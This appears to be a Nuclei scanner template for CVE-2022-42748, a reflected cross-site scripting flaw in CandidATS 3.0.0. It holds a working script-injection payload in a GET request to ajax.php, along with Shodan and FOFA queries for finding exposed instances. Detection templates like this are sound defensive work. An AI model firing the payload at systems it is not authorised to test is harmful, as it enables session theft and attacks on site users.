CandidATS 3.0.0 - Cross-Site Scripting.

id: CVE-2022-42748

info:
  name: CandidATS 3.0.0 - Cross-Site Scripting.
  author: arafatansari
  severity: medium
  description: |
    CandidATS 3.0.0 contains a cross-site scripting vulnerability via the sortDirection parameter of the ajax.php resource. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    To mitigate this vulnerability, it is recommended to apply the latest security patches or updates provided by the vendor.
  reference:
    - https://fluidattacks.com/advisories/modestep/
    - https://fluidattacks.com/advisories/jcole/
    - https://candidats.net/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-42748
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-42748
    cwe-id: CWE-79
    epss-score: 0.00111
    epss-percentile: 0.44292
    cpe: cpe:2.3:a:auieo:candidats:3.0.0:-:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: auieo
    product: candidats
    shodan-query:
      - http.html:"CandidATS"
      - http.html:"candidats"
    fofa-query: body="candidats"
  tags: cve,cve2022,candidats,xss,auieo

http:
  - method: GET
    path:
      - '{{BaseURL}}/ajax.php?f=getPipelineJobOrder&joborderID=50&page=0&entriesPerPage=15&sortBy=dateCreatedInt&sortDirection=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&indexFile=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&isPopup=0'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>'
          - 'candidat'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 404
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